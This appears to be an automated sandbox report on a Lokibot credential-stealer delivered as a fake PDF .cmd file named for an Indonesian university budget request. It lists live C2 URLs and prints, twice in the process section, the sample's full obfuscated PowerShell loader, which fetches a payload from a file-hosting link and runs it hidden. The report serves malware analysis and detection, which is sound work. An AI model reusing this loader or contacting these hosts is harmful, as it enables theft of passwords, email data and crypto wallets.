Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
02/10/2024, 04:34
General
- Target PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.cmd
- Size 6KB
- Sample241002-e7adrsxdrk
- SHA256 09a3bb4be0a502684bd37135a9e2cbaa3ea0140a208af680f7019811b37d28d6
Score
10/10
Malware Config
Extracted
Family
-
lokibot
C2
-
http://137.184.191.215/index.php/check.php?s=am9ntjjw
-
http://kbfvzoboss.bid/alien/fre.php
-
http://alphastand.trade/alien/fre.php
-
http://alphastand.win/alien/fre.php
-
http://alphastand.top/alien/fre.php
Signatures
- Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
- Blocklisted process makes network request 11 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "<#Fracturable Hirsuties Rumoring #>;$Ligningsafdelings='Foresprgselsskema';<#Afspndingsvelserne Mobcaps Crucis eroderendes Meditant Lavishment Analyseresultater #>;$Dodding=$host.PrivateData;If ($Dodding) {$Vidneforklaringer++;}function japaconin($tostavede){$Bossa=$Tvetydige+$tostavede.Length-$Vidneforklaringer; for( $Destabiliseringen73=5;$Destabiliseringen73 -lt $Bossa;$Destabiliseringen73+=6){$Afsendendes='Overexercising';$Vrdigheden+=$tostavede[$Destabiliseringen73];}$Vrdigheden;}function Undangered($Egernets){ & ($Cystocarcinoma) ($Egernets);}$Kollektivisering=japaconin 'Gru,pM.reseoRedenzKon uiTrut l Tvrbln nexaSalgs/Brev,5Fj rv.Antik0 Bete athi(PabulWBrugeiHushenShebadSleepoLungew DannsStor AcceN CallTUnfre Popul1Gratt0Plans. Star0Korsf;Tet,a TiktaWPulediAppronB.jle6Grall4 .anv;Insoo Dragox ska,6e.isk4Wind ; Spot GuldtrSa lyvBl st: Myop1Fiche2Optur1L,str.Tauto0 Folk) ygep LictoGPrciseArbe.cVsenskKnop.otilbe/P ima2Steno0Hansa1Parfo0Shaha0Actin1Taktr0 Oran1 Rets Pr emFCuddei L arrCarapeCarg f u,mao Ste,xungr /R.med1Agtso2Exper1Super.Coccy0Spell ';$Bestignings186=japaconin 'OvervUF rmssBirtaEDemonRHospi- Br rASlkniGDrivkeBr.chNUnavaTLambr ';$Pathogermic=japaconin ' DonahDynejtMu ettI hthpSt mtsUnl.n: ,ova/Kalli/UdpebdCatchrAreaeiDelirvRendeeUnif..UnobjgOpspooIntroo Ste,gAmidolStor e Flle.TilggcAfmaaoMiniamAzole/ TalluPlacecA ske? nulle evasxUnfirpTrykioViderr ,adit Lopp=dumpedBa kaoSurtawnonconHeadll .doroRadi aRu,kodritua&LandbiHusmadrudet= Pagr1 Afl,M egioc T atRAktiedPi etJudlgsuGaarea OppoSVagt WhalmsnGr ntP .ugt4,kyggLPeavi6Hens.uSkriv-Men.sMRelo TSolkuaFeltflNa nevPigenx denrDRespeJ SkemIM noehTem oyRut.cWddfdtTAnd.oxH drobSchisrSm ap ';$Urologis=japaconin 'Flage>Dit i ';$Cystocarcinoma=japaconin 'SofapiJ.rdaEQui qx Kont ';$Lignocellulosic='Rigsdaler';$Pawnages='\Klinkerne66.Syn';Undangered (japaconin ' Smmo$delikgForrelPungeo F.rbbHejseasimpllDagdr:DownwGOverspAarssaHeelpdAtomv=Bro.s$ParteeT rcenBiotivSmaas: Ste aLs btpOve hpunsumd L.eraM thrtTrappaHarmo+Irise$Fre sPNonscaEcon,w DevanMas iaPrimagAfv.neReallsO slu ');Undangered (japaconin 'Etape$ LuthgRetsll A tioAfmnsbEnk laBe zolMiste: AgtsF.anocaFiberiSextil SurdiNectanBlegegRkkerlDazz.ySuper=Micro$OracuPKro eaTu tltN ttehSy.meoSerpeg.kabeeS ovbrCiga m odeliudla cExcus. WondsFar.ipMirf,lBismai UdmatSubma(Gir l$SkilnUTa etrOve.to De al SanioG bligConspi NazisTranq)Delgh ');Undangered (japaconin ' Hid [ProflN Ketye eleptAion .O spoSAnimaeBistrrZooecvForspiLappec Ple e TiaaPSpeciobrikeiS,aghnPagantBib lMArteraAds.rnMelloaKongeg etume Nea.rMisdo]Trskr:Coffl: rhopSbenpieBenedcS miju Nyvar H.psiUndert.belayMaterP .sycrNonheoGassetLaskeo DomkcMaskioKrimilGoodi Un,er= Ofre Belem[Disn N rboreEkspet,uper.BlindSKangae MaalcPacifuFl shrNas.oiPretetphorayanstiP disnrBlackoBrah.tKogleo Sextc Stofo sc elMegapTEcd sy Oratp InteeLesot]Tilen:Un da:CurlyTAmortlAfdamsGrafi1 Hys.2 Horn ');$Pathogermic=$Failingly[0];$salerno=(japaconin 'Blaar$ romoGBirdeL FragO Noneb LeptaPibleLLifeb:AriadP KlasR IritOUntaccbombahNiogtRUnsadofug,eM.jaltO ThymSnonstO NedpMProleE.aabe=He,opn OffeE BrndwSvan -Pro roMaterBPolynjbr nceCommoCKas utDefil SkibssMinesYResprsver,iTTri,heu jagMDetai. Hyphn Boree FrimtS att. Une WTriviebungeb UndecPr.uslChi iiRepatEU brinBetnktChapp ');Undangered ($salerno);Undangered (japaconin 'Vddel$Div.sPOplagr fennoOutsccResk,h Va erTullio ddimMa.rooR tinsBr atoBeklam CurreHelle.DelelHCathoewifisa phobd ogeaeSamstrSacchs Land[ Oste$ OpspBForsleBeredsSy.dit EkslibrissgProg nTetaniM.sdenJvnfrgSnowdsEr.ta1Klatt8Hensy6Domes] inte= Udri$PrediK TornoNuphal PanilIngraeCostiksygedtStivei pbakv gbakihlernsPho,oeObrazrNonasiBoblenvisumgLfteb ');$Retfrden=japaconin 'Nulvk$ DrmaPDriftrRevero EpercDer ahUnd.rrli,pioDoorcmprothoZik,usStunkoUforhmHold,e span.ButikD SkuloRomanwKom,onVaeggl BaadoLitteaPeri dproptFFo,aniPagnelAfledeEnjam(Lovpr$ExpecPTeletaFeltht AttehInvesoImbolgMannae .ullr FlocmSigneiklassc Spec,Tauro$ piriSstewauSmertbKomp.c Senal nogtaPerfes FressStiftiN.nthf RevaiTintecDenisaMegaftVol aiInforoBaandnSlant)Overs ';$Subclassification=$Gpad;Undangered (japaconin 'Malac$ Nut GPruttLFoli,oO.knaBRibosADeflaLKhotm:S ormM,atenaC yxsRPler,iAnv nAFirsaND adlaAand = Henv(ForsoTFolkeeKursuSDeconTAnt p- WhispEskadaBarduT FalsH impl Dagho$kyllis SproUsk.ttBkurtic,ubsil H.raaAvlensUnneuS ,yesiDeporFBedraiForkoCFaconaretarT OmeniJu,eso FrilNUnbea)Feni, ');while (!$Mariana) {Undangered (japaconin ' Exsa$Sekt,gcoupelD rtho.rinobChor aUu.dglRett :KonstN Li.neTercemPro omMatade Ag,esHepat=Udyrt$CaonatBhlanrRinc uFortaeUdste ') ;Undangered $Retfrden;Undangered (japaconin ' VuerSAn.abtAfprea ellerNondet lide-SkeltSHerpelRaadee rangeAvnslpBlanc Reuss4Rampe ');Undangered (japaconin ' buxe$F.gmagLnpotlSkovsoDio ab uno aSacrolFemte:OvervM Ba.raSto mrIotasi P ofaJuta.nOversaDemol= ngio(UdkasT Rubreelastslede tCorop-LiderP DeoxaBandltFl rehEquis Appen$ Ba rSUnevouFrtekb ChamcAlloclOpva,aFuldrsEarthsTapa.iAndalfH stiiU osmcS,aniasem pt St liElasmoKausan,egne)Stear ') ;Undangered (japaconin ' Gali$SpeakgTottelvo.dsoFor.lb B,gka.pparlCayub: HundSFour.pKoncir Benai orkn Gardt,hemieGrimarGr sseLogopnArraksProg =Whe t$DiatogUdadglTons oEfterbTe,neaJo sllBusti:DesalBAmenda.ondirMegalyTu getarvoio SkulnMikroeStt.v+T stg+Afgif%Lito.$PackwFOut aaAud.tiA taclHel aiTrmasnMonotgVi enlsigniyUp ti.ba iscDanskoLeptous rivnIm ert,euda ') ;$Pathogermic=$Failingly[$Sprinterens];}$Ebonits=320275;$Autoradiogram=30210;Undangered (japaconin 'Frifi$ amowgWitsvlCedunopo sobNgsteac edilStakt:M lesmBrsteaBrevsgUnv na raqusHardciDvrgfnLodbreImprerLngdenu meeeNetsm Semim=Se,ue EddeG InteeLun.ntOu fo-CoralCKons,oExon nph setmiaoueVo itn SkattReac, erie$end.gSSomnauOpga bHumo c Co.olR slaaAeonis Stu sL.keriFremhf Uddei,iraccAffotaAutoctGe neiCoaxaoFalisnTask ');Undangered (japaconin 'sha o$Jur tgnonpelGlittoSoeskbDampra oldelSmall:Cath WForfliAp,rilNa nil KludiStatsneksp gJarrisMercu Longs=Nonsp Kajep[AmmioS Reh,yEp.sus,anontreg le Coitm .ict. BuffC ,oruoGaffen FordvKloakePointrKonfitin ea]Rhin :Smoul: SubvF.emocrHarleoblomsmAminoBForteaDougisLimniePauci6epuli4TiltuSFoulat St rr B,chiUndernTermigSenus(Brac $TankbmSemita nthgZephya C,shsheteriProc nDeigneTr isr ompanBereleDewed)Munda ');Undangered (japaconin 'Opsig$Sh erg PopulNaupao verrbGte.la Tolkl.euko:.eaneEPretruMidsorP risifolkedStolpyLoulocPenise.ssen Beehi=Lgebe G nla[Ba rsS NybryNonapsRetsktWea,ae GalsmMissi.NonspTRotfme AncyxRewrat Swal.EkstrESclernContrcFaareo ValgdGabriiKakapnNotesgNauru]Zocco: arsh:SwadeAYoungSOccipCin,omI StorI Civ . ManoG ForueSh pmtB.utiSAns rtFil tr Sko i Sa,vnB.mahgSangf(Salsd$Bums WJobnaiSlutbl WhitlUnderi LeginDim sgRemigs affl)Super ');Undangered (japaconin 'Fisk $Pacemg,ubpelRump oWestfbForgraOutrelFrekv:slaaefUnq,aj TaklrFakultVundne rawndOverpeUnfo.sHunke=Indis$StudeEUdst,uSttterUafhniRodsad ottySe,iecMar he Harm. KardsInt nuTinfobSmuglsLi petelegirOmdiriNon nn latig Ruc (Retfr$VerdiEroe tbTurnao SjlenElecti,orsatfete,sClow ,Laval$ApartA PekeuW,enitGastroudfrtrUnidoa etald Finmi BelloRddikg At mrBygniaNi hem der) Arbe ');Undangered $fjrtedes;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Fracturable Hirsuties Rumoring #>;$Ligningsafdelings='Foresprgselsskema';<#Afspndingsvelserne Mobcaps Crucis eroderendes Meditant Lavishment Analyseresultater #>;$Dodding=$host.PrivateData;If ($Dodding) {$Vidneforklaringer++;}function japaconin($tostavede){$Bossa=$Tvetydige+$tostavede.Length-$Vidneforklaringer; for( $Destabiliseringen73=5;$Destabiliseringen73 -lt $Bossa;$Destabiliseringen73+=6){$Afsendendes='Overexercising';$Vrdigheden+=$tostavede[$Destabiliseringen73];}$Vrdigheden;}function Undangered($Egernets){ & ($Cystocarcinoma) ($Egernets);}$Kollektivisering=japaconin 'Gru,pM.reseoRedenzKon uiTrut l Tvrbln nexaSalgs/Brev,5Fj rv.Antik0 Bete athi(PabulWBrugeiHushenShebadSleepoLungew DannsStor AcceN CallTUnfre Popul1Gratt0Plans. Star0Korsf;Tet,a TiktaWPulediAppronB.jle6Grall4 .anv;Insoo Dragox ska,6e.isk4Wind ; Spot GuldtrSa lyvBl st: Myop1Fiche2Optur1L,str.Tauto0 Folk) ygep LictoGPrciseArbe.cVsenskKnop.otilbe/P ima2Steno0Hansa1Parfo0Shaha0Actin1Taktr0 Oran1 Rets Pr emFCuddei L arrCarapeCarg f u,mao Ste,xungr /R.med1Agtso2Exper1Super.Coccy0Spell ';$Bestignings186=japaconin 'OvervUF rmssBirtaEDemonRHospi- Br rASlkniGDrivkeBr.chNUnavaTLambr ';$Pathogermic=japaconin ' DonahDynejtMu ettI hthpSt mtsUnl.n: ,ova/Kalli/UdpebdCatchrAreaeiDelirvRendeeUnif..UnobjgOpspooIntroo Ste,gAmidolStor e Flle.TilggcAfmaaoMiniamAzole/ TalluPlacecA ske? nulle evasxUnfirpTrykioViderr ,adit Lopp=dumpedBa kaoSurtawnonconHeadll .doroRadi aRu,kodritua&LandbiHusmadrudet= Pagr1 Afl,M egioc T atRAktiedPi etJudlgsuGaarea OppoSVagt WhalmsnGr ntP .ugt4,kyggLPeavi6Hens.uSkriv-Men.sMRelo TSolkuaFeltflNa nevPigenx denrDRespeJ SkemIM noehTem oyRut.cWddfdtTAnd.oxH drobSchisrSm ap ';$Urologis=japaconin 'Flage>Dit i ';$Cystocarcinoma=japaconin 'SofapiJ.rdaEQui qx Kont ';$Lignocellulosic='Rigsdaler';$Pawnages='\Klinkerne66.Syn';Undangered (japaconin ' Smmo$delikgForrelPungeo F.rbbHejseasimpllDagdr:DownwGOverspAarssaHeelpdAtomv=Bro.s$ParteeT rcenBiotivSmaas: Ste aLs btpOve hpunsumd L.eraM thrtTrappaHarmo+Irise$Fre sPNonscaEcon,w DevanMas iaPrimagAfv.neReallsO slu ');Undangered (japaconin 'Etape$ LuthgRetsll A tioAfmnsbEnk laBe zolMiste: AgtsF.anocaFiberiSextil SurdiNectanBlegegRkkerlDazz.ySuper=Micro$OracuPKro eaTu tltN ttehSy.meoSerpeg.kabeeS ovbrCiga m odeliudla cExcus. WondsFar.ipMirf,lBismai UdmatSubma(Gir l$SkilnUTa etrOve.to De al SanioG bligConspi NazisTranq)Delgh ');Undangered (japaconin ' Hid [ProflN Ketye eleptAion .O spoSAnimaeBistrrZooecvForspiLappec Ple e TiaaPSpeciobrikeiS,aghnPagantBib lMArteraAds.rnMelloaKongeg etume Nea.rMisdo]Trskr:Coffl: rhopSbenpieBenedcS miju Nyvar H.psiUndert.belayMaterP .sycrNonheoGassetLaskeo DomkcMaskioKrimilGoodi Un,er= Ofre Belem[Disn N rboreEkspet,uper.BlindSKangae MaalcPacifuFl shrNas.oiPretetphorayanstiP disnrBlackoBrah.tKogleo Sextc Stofo sc elMegapTEcd sy Oratp InteeLesot]Tilen:Un da:CurlyTAmortlAfdamsGrafi1 Hys.2 Horn ');$Pathogermic=$Failingly[0];$salerno=(japaconin 'Blaar$ romoGBirdeL FragO Noneb LeptaPibleLLifeb:AriadP KlasR IritOUntaccbombahNiogtRUnsadofug,eM.jaltO ThymSnonstO NedpMProleE.aabe=He,opn OffeE BrndwSvan -Pro roMaterBPolynjbr nceCommoCKas utDefil SkibssMinesYResprsver,iTTri,heu jagMDetai. Hyphn Boree FrimtS att. Une WTriviebungeb UndecPr.uslChi iiRepatEU brinBetnktChapp ');Undangered ($salerno);Undangered (japaconin 'Vddel$Div.sPOplagr fennoOutsccResk,h Va erTullio ddimMa.rooR tinsBr atoBeklam CurreHelle.DelelHCathoewifisa phobd ogeaeSamstrSacchs Land[ Oste$ OpspBForsleBeredsSy.dit EkslibrissgProg nTetaniM.sdenJvnfrgSnowdsEr.ta1Klatt8Hensy6Domes] inte= Udri$PrediK TornoNuphal PanilIngraeCostiksygedtStivei pbakv gbakihlernsPho,oeObrazrNonasiBoblenvisumgLfteb ');$Retfrden=japaconin 'Nulvk$ DrmaPDriftrRevero EpercDer ahUnd.rrli,pioDoorcmprothoZik,usStunkoUforhmHold,e span.ButikD SkuloRomanwKom,onVaeggl BaadoLitteaPeri dproptFFo,aniPagnelAfledeEnjam(Lovpr$ExpecPTeletaFeltht AttehInvesoImbolgMannae .ullr FlocmSigneiklassc Spec,Tauro$ piriSstewauSmertbKomp.c Senal nogtaPerfes FressStiftiN.nthf RevaiTintecDenisaMegaftVol aiInforoBaandnSlant)Overs ';$Subclassification=$Gpad;Undangered (japaconin 'Malac$ Nut GPruttLFoli,oO.knaBRibosADeflaLKhotm:S ormM,atenaC yxsRPler,iAnv nAFirsaND adlaAand = Henv(ForsoTFolkeeKursuSDeconTAnt p- WhispEskadaBarduT FalsH impl Dagho$kyllis SproUsk.ttBkurtic,ubsil H.raaAvlensUnneuS ,yesiDeporFBedraiForkoCFaconaretarT OmeniJu,eso FrilNUnbea)Feni, ');while (!$Mariana) {Undangered (japaconin ' Exsa$Sekt,gcoupelD rtho.rinobChor aUu.dglRett :KonstN Li.neTercemPro omMatade Ag,esHepat=Udyrt$CaonatBhlanrRinc uFortaeUdste ') ;Undangered $Retfrden;Undangered (japaconin ' VuerSAn.abtAfprea ellerNondet lide-SkeltSHerpelRaadee rangeAvnslpBlanc Reuss4Rampe ');Undangered (japaconin ' buxe$F.gmagLnpotlSkovsoDio ab uno aSacrolFemte:OvervM Ba.raSto mrIotasi P ofaJuta.nOversaDemol= ngio(UdkasT Rubreelastslede tCorop-LiderP DeoxaBandltFl rehEquis Appen$ Ba rSUnevouFrtekb ChamcAlloclOpva,aFuldrsEarthsTapa.iAndalfH stiiU osmcS,aniasem pt St liElasmoKausan,egne)Stear ') ;Undangered (japaconin ' Gali$SpeakgTottelvo.dsoFor.lb B,gka.pparlCayub: HundSFour.pKoncir Benai orkn Gardt,hemieGrimarGr sseLogopnArraksProg =Whe t$DiatogUdadglTons oEfterbTe,neaJo sllBusti:DesalBAmenda.ondirMegalyTu getarvoio SkulnMikroeStt.v+T stg+Afgif%Lito.$PackwFOut aaAud.tiA taclHel aiTrmasnMonotgVi enlsigniyUp ti.ba iscDanskoLeptous rivnIm ert,euda ') ;$Pathogermic=$Failingly[$Sprinterens];}$Ebonits=320275;$Autoradiogram=30210;Undangered (japaconin 'Frifi$ amowgWitsvlCedunopo sobNgsteac edilStakt:M lesmBrsteaBrevsgUnv na raqusHardciDvrgfnLodbreImprerLngdenu meeeNetsm Semim=Se,ue EddeG InteeLun.ntOu fo-CoralCKons,oExon nph setmiaoueVo itn SkattReac, erie$end.gSSomnauOpga bHumo c Co.olR slaaAeonis Stu sL.keriFremhf Uddei,iraccAffotaAutoctGe neiCoaxaoFalisnTask ');Undangered (japaconin 'sha o$Jur tgnonpelGlittoSoeskbDampra oldelSmall:Cath WForfliAp,rilNa nil KludiStatsneksp gJarrisMercu Longs=Nonsp Kajep[AmmioS Reh,yEp.sus,anontreg le Coitm .ict. BuffC ,oruoGaffen FordvKloakePointrKonfitin ea]Rhin :Smoul: SubvF.emocrHarleoblomsmAminoBForteaDougisLimniePauci6epuli4TiltuSFoulat St rr B,chiUndernTermigSenus(Brac $TankbmSemita nthgZephya C,shsheteriProc nDeigneTr isr ompanBereleDewed)Munda ');Undangered (japaconin 'Opsig$Sh erg PopulNaupao verrbGte.la Tolkl.euko:.eaneEPretruMidsorP risifolkedStolpyLoulocPenise.ssen Beehi=Lgebe G nla[Ba rsS NybryNonapsRetsktWea,ae GalsmMissi.NonspTRotfme AncyxRewrat Swal.EkstrESclernContrcFaareo ValgdGabriiKakapnNotesgNauru]Zocco: arsh:SwadeAYoungSOccipCin,omI StorI Civ . ManoG ForueSh pmtB.utiSAns rtFil tr Sko i Sa,vnB.mahgSangf(Salsd$Bums WJobnaiSlutbl WhitlUnderi LeginDim sgRemigs affl)Super ');Undangered (japaconin 'Fisk $Pacemg,ubpelRump oWestfbForgraOutrelFrekv:slaaefUnq,aj TaklrFakultVundne rawndOverpeUnfo.sHunke=Indis$StudeEUdst,uSttterUafhniRodsad ottySe,iecMar he Harm. KardsInt nuTinfobSmuglsLi petelegirOmdiriNon nn latig Ruc (Retfr$VerdiEroe tbTurnao SjlenElecti,orsatfete,sClow ,Laval$ApartA PekeuW,enitGastroudfrtrUnidoa etald Finmi BelloRddikg At mrBygniaNi hem der) Arbe ');Undangered $fjrtedes;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_emosxeje.3ns.ps1
Klinkerne66.Syn
0f5007522459c86e95ffcc62f32308f1_acd03e19-89e2-40d7-b0f4-25b8a05635ee
0f5007522459c86e95ffcc62f32308f1_acd03e19-89e2-40d7-b0f4-25b8a05635ee
memory/4268-76-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/4268-72-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/4976-53-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-47-0x0000000006680000-0x000000000669A000-memory.dmp
memory/4976-62-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-60-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-25-0x0000000074CBE000-0x0000000074CBF000-memory.dmp
memory/4976-26-0x00000000027D0000-0x0000000002806000-memory.dmp
memory/4976-27-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-28-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-29-0x0000000005480000-0x0000000005AA8000-memory.dmp
memory/4976-30-0x0000000005230000-0x0000000005252000-memory.dmp
memory/4976-31-0x00000000052D0000-0x0000000005336000-memory.dmp
memory/4976-32-0x0000000005340000-0x00000000053A6000-memory.dmp
memory/4976-42-0x0000000005AB0000-0x0000000005E04000-memory.dmp
memory/4976-59-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-44-0x00000000060F0000-0x000000000610E000-memory.dmp
memory/4976-45-0x0000000006120000-0x000000000616C000-memory.dmp
memory/4976-46-0x00000000079B0000-0x000000000802A000-memory.dmp
memory/4976-58-0x0000000074CBE000-0x0000000074CBF000-memory.dmp
memory/4976-48-0x00000000073D0000-0x0000000007466000-memory.dmp
memory/4976-49-0x0000000006760000-0x0000000006782000-memory.dmp
memory/4976-50-0x00000000085E0000-0x0000000008B84000-memory.dmp
memory/4976-57-0x0000000008B90000-0x000000000CF86000-memory.dmp
memory/4976-52-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-56-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-54-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/4976-55-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/5048-2-0x00007FFCFA393000-0x00007FFCFA395000-memory.dmp
memory/5048-17-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-20-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-19-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-24-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-21-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-16-0x00007FFCFA393000-0x00007FFCFA395000-memory.dmp
memory/5048-14-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-13-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp
memory/5048-5-0x0000024F0BE30000-0x0000024F0BE52000-memory.dmp